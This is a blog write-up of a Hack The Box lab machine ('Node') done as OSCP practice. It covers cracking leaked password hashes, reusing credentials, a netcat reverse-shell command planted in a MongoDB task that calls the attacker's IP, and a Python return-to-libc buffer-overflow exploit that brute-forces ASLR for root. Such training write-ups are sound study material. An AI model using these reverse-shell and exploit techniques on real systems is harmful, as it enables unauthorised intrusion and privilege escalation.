Road to OSCP - Hack The Box Write Up - Node

Blog

29
- Sept
2019
Road to OSCP - Hack The Box Write Up - Node

Hack the Box is an online platform to test and advance your skills in penetration testing and cyber security.

In this series of articles we will show how junior evaluators complete some Hack The Box machines in their road to OSCP, a well-known, respected, and required for many top cybersecurity positions certification. Certified OSCPs are able to identify existing vulnerabilities and execute organized attacks in a controlled and focused manner. They can leverage or modify existing exploit code to their advantage, perform network pivoting and data exfiltration, and compromise systems due to poor configurations.

Let's start with the fun!

Node

Initial Foothold

There is webpage on port 3000. Enumerating for directories is difficult because the page returns code 200 for pages that do not exist.

A more reliable way of enumerating is send a request to the page through Burp Suite, then navigate the Target tab and have a look at the directories found by Burp's passive scan. One of these directories is /api/users which holds a JSON file with usernames and passwords.

0
_id "59a7365b98aa325cc03ee51c"
username    "myP14ceAdm1nAcc0uNT"
password    "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af"
is_admin    true
1
_id "59a7368398aa325cc03ee51d"
username    "tom"
password    "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240"
is_admin    false
2
_id "59a7368e98aa325cc03ee51e"
username    "mark"
password    "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73"
is_admin    false
3
_id "59aa9781cced6f1d1490fce9"
username    "rastating"
password    "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0"
is_admin    false

We can use john to crack the passwords: john -wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt credentials.txt --format=Raw-SHA256

Results:

  1. tom:spongebob
  2. myP14ceAdm1nAcc0uNT:manchester
  3. mark:snowflake

We can use these credentials to log in on 10.10.10.58:3000/login.

If we log in as an user that is not an admin (tom and mark) we get a message saying that only admin user have access to the control panel. If we log in as myP14ceAdm1nAcc0uNT, we get access to a backup: myplace.backup.

The backup file is base64 encoded: base64 -d myplace.backup > backup_decoded. Then doing file backup_decoded reveals it is a zip file. If we try to use unzip backup_decoded we find that it has a password, so we can try cracking it with john.

To crack the zip's password, we first do zip2john backup_decoded > zip.hash and then john -wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt zip.hash. The zip's password is: magicword.

Searching through the backup, in app.js we find the following string: const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';

5AYRft73VtFpc84k: looks like another password for the user mark. Turns out, it is his ssh password: ssh mark@10.10.10.58.

User

Using pspy, we find the following: CMD: UID=1000 PID=1208 | /usr/bin/node /var/scheduler/app.js

Where UID=1000 means user tom (check by doing cat /etc/passwd).

Looking at /var/scheduler/app.js we see that it executes a shell command based on an property to MongoDB document called tasks. It also shows that the name of the database is scheduler. const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

Let us start by connecting to the database: mongo -p -u mark scheduler. And when prompted for a password use: 5AYRft73VtFpc84k.

Create Document Property

We will create an attribute called cmd with the value of a reverse shell. For some reason the bash reverse shell does not work, it connects successfully but I do not get any output from the commands. As an alternative, we can use a netcat reverse shell.

db.tasks.insert( { "cmd" : "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.44 12345 >/tmp/f" } )

Wait a few seconds and we get a reverse shell as user tom.

Root

Using lse.sh we find an unusual setuid binary: /usr/local/bin/backup.

If we recall, back in the file /var/www/myplace/app.js, it calls this binary with certain arguments: var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);

Where backup_key = 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474.

TLDR

There is a buffer overflow vulnerability in this binary (in the __dirname argument), however it has NX and ASLR protections, so we have to work around them. The solution is a return to libc attack while bruteforcing the ASLR.

Step 1. Find a Vulnerable Function

We need to perform some static analysis to find a vulnerable function. In this case it is going to be strcopy inside displayTarget function, which displays the target directory when the binary is run WITHOUT the -q flag. This means that we have to perform the overflow on the third parameter: the target directory.

The binary still requires 3 parameters to be run, but we can substitute the -q for a random string and it will still work.

Test that the overflow works by calling it with an absurdly long strong like: python3 -c "print('A' * 800)"

If it works, the program should crash with a segfault.

Step 2. Find the Overflow Length

Now, we need to know at what point we overwrite the instruction pointer register. For that a handy tool in gdb-peda is pattern_create.

However, in this particular case, the binary blacklists some of the characters used by pattern_create, so we have to resort to the manual method of using python.

For example, use python -c "print('A' * 600 + 'B' * 4)". Iterate until the instruction pointer is overwritten with 0x42424242. When that happens, the amount of A is the length of our buffer overflow (512 in this case).

Step 3. Find the Base Address for libc

Doing: ldd /usr/local/bin/backup | grep libc we get something like this as output: libc.so.6 => /lib32/libc.so.6 (0xf7606000)

If we repeat the command several times and the address changes, it means ASLR is activated. Luckily for us, the address does not really change that much, so the workaround will be to bruteforce the address.

Step 4. Find the Relevant Offsets

ASLR only changes the base address of libc, but any function contained within it will always be at the same offset. For this reason we need to find the offset for the syscall system and the string /bin/sh.

IMPORTANT: Every offset should be padded with 0 to the left to make it 32 bits (8 characters).

To find the system offset: readelf -s /lib32/libc.so.6 | grep system. It will output something like this:

245: 00110820    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   627: 0003a940    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1457: 0003a940    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

The offset we are after is 0003a940.

For the /bin/sh string: strings -a -t x /lib32/libc.so.6 | grep /bin/sh. Output: 15900b /bin/sh

(Optional) Exit Offset

If we do not want the binary to crash after we finish exploiting it, we should find the exit point. readelf -s /lib32/libc.so.6 | grep exit. Output:

112: 0002eba0    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   141: 0002e7b0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   450: 0002ebd0   181 FUNC    GLOBAL DEFAULT   13 __cxa_thread_atexit_impl@@GLIBC_2.18
   558: 000af578    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0
   616: 00113840    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0
   652: 0002eb80    31 FUNC    GLOBAL DEFAULT   13 quick_exit@@GLIBC_2.10
   876: 0002e9d0    85 FUNC    GLOBAL DEFAULT   13 __cxa_atexit@@GLIBC_2.1.3
  1046: 0011d290    52 FUNC    GLOBAL DEFAULT   13 atexit@GLIBC_2.0
  1394: 001b0204     4 OBJECT  GLOBAL DEFAULT   32 argp_err_exit_status@@GLIBC_2.1
  1506: 000f19a0    58 FUNC    GLOBAL DEFAULT   13 pthread_exit@@GLIBC_2.0
  2108: 001b0154     4 OBJECT  GLOBAL DEFAULT   32 obstack_exit_failure@@GLIBC_2.0
  2263: 0002e7d0    78 FUNC    WEAK   DEFAULT   13 on_exit@@GLIBC_2.0
  2406: 000f2db0     2 FUNC    GLOBAL DEFAULT   13 __cyg_profile_func_exit@@GLIBC_2.2

The offset we are after is: 0002e7d0.

Step 5. Write the Script

With all the information we have gathered up to this point, we are ready to write a script that automates the brute force attack. In this case the script is written in Python 3, tested on version 3.5.2 (the Python 3 version of the victim).

exploit.py

#!/usr/bin/python3

from subprocess import call
import struct

backup_key = "45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474"
libc_base_addr = 0xf7610000

# Offsets
system_off = 0x0003a940
exit_off = 0x0002e7d0
arg_sh_off = 0x0015900b

system_off = struct.pack("<I", libc_base_addr + system_off)
exit_off = struct.pack("<I", libc_base_addr + exit_off)
arg_sh_off = struct.pack("<I", libc_base_addr + arg_sh_off)

buff = b"A"*512
buff += system_off
buff += exit_off
buff += arg_sh_off

# After checking the address of libc, we see that it only changes in about 9 bits = 512
# possibilities.
for i in range(512):
    print("Tries: %s" %i)
    ret = call(["/usr/local/bin/backup", "69", backup_key, buff])

We can now chmod +x exploit.py and run it ./exploit.py. I do not know If I got lucky, but I got a root shell at around try number 40.

Ángel Guzmán/Junior evaluator

Degree and Master in telecommunications by the University of Granada, specialized in telematics. Joined jtsec in November of 2019 as a Junior cybersecurity evaluator.

Since he joined jtsec, he has participated in several internal hardware hacking projects, while also receiving training about the LINCE certification.

His main motivation is to learn, from small tools for his daily work to new technologies.


Contact

Send us your questions or suggestions!

By sending your data you allow us to use it to resolve your doubts by sending you commercial information of interest. We will delete it when they are no longer necessary for this matter. Know your rights in our Privacy Policy.